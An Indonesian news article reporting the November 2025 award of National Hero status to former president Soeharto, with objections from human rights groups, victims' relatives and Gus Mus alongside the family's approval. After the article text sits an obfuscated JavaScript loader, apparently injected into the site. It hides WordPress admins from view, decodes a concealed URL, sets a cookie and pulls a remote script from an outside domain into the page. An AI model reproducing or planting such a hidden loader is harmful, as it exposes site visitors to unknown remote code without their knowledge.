Jakarta, 11 November 2025 —
Pemerintah Republik Indonesia secara resmi menganugerahkan gelar Pahlawan Nasional kepada Presiden kedua, Soeharto.
Dalam upacara peringatan Hari Pahlawan di Istana Negara pada 10 November 2025.
Pemerintah menetapkan gelar Pahlawan Nasional untuk Soeharto melalui Keputusan Presiden (Keppres) Nomor 116/TK/Tahun 2025, bersama sembilan tokoh nasional lainnya.
Pemerintah menegaskan bahwa mereka memberikan penghargaan ini sebagai bentuk pengakuan atas jasa Soeharto dalam perjuangan kemerdekaan dan kontribusinya terhadap pembangunan nasional.
Namun, penetapan ini memunculkan reaksi keras dari berbagai kalangan.
Aktivis hak asasi manusia menyoroti catatan pelanggaran HAM pada masa pemerintahan Soeharto.
baca juga: Longsor Terjang Banjarnegara, BNPB Sebut 27 Warga Diduga Masih Tertimbun
Korban pelanggaran Orde Baru dan sejumlah tokoh sipil juga menegaskan kritik serupa.
Sumarsih, ibu salah satu korban Tragedi Semanggi I (1998), menilai pemberian gelar tersebut mengabaikan luka sejarah dan menolak penghormatan kepada sosok yang ia anggap sebagai dalang pelanggaran berat HAM.
Sebaliknya, keluarga Soeharto menyambut baik keputusan tersebut. Bambang Trihatmodjo dan Siti Hardijanti Rukmana menyatakan syukur dan menilai kontroversi sebagai hal wajar dalam perbedaan pandangan publik.
Tutut juga mengajak masyarakat untuk menilai jasa ayahnya sepanjang hidupnya, bukan hanya sisi kontroversial.
Sementara itu, beberapa tokoh publik ikut menyatakan keberatan.
Ulama dan budayawan, termasuk KH. Ahmad Mustofa Bisri (Gus Mus) menyatakan bahwa ia menentang pemberian gelar tersebut karena mengkhawatirkan adanya upaya “pemutihan sejarah.”
Organisasi HAM menegaskan dalam surat terbuka bahwa pemberian gelar tersebut tidak pantas.
Mereka menuntut pemerintah mempertanggungjawabkan rekam jejak pelanggaran masa lalu sebelum menetapkan gelar tersebut.
Media asing juga mengamati keputusan ini sebagai langkah yang berisiko menyamarkan sejarah kelam masa Orde Baru dan menuduh adanya upaya revisi narasi.
Di sisi pemerintah, Dewan Pengkaji Gelar menegaskan bahwa mereka telah menjalankan prosedur penetapan sesuai aturan dan melibatkan kajian dari berbagai pihak.
Menurut pemerintah, gelar ini tidak semata-mata soal figur, tetapi juga refleksi pengakuan atas kontribusi terhadap negara.
Penetapan Soeharto sebagai Pahlawan Nasional kembali menghidupkan perdebatan mendalam di Indonesia.
(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();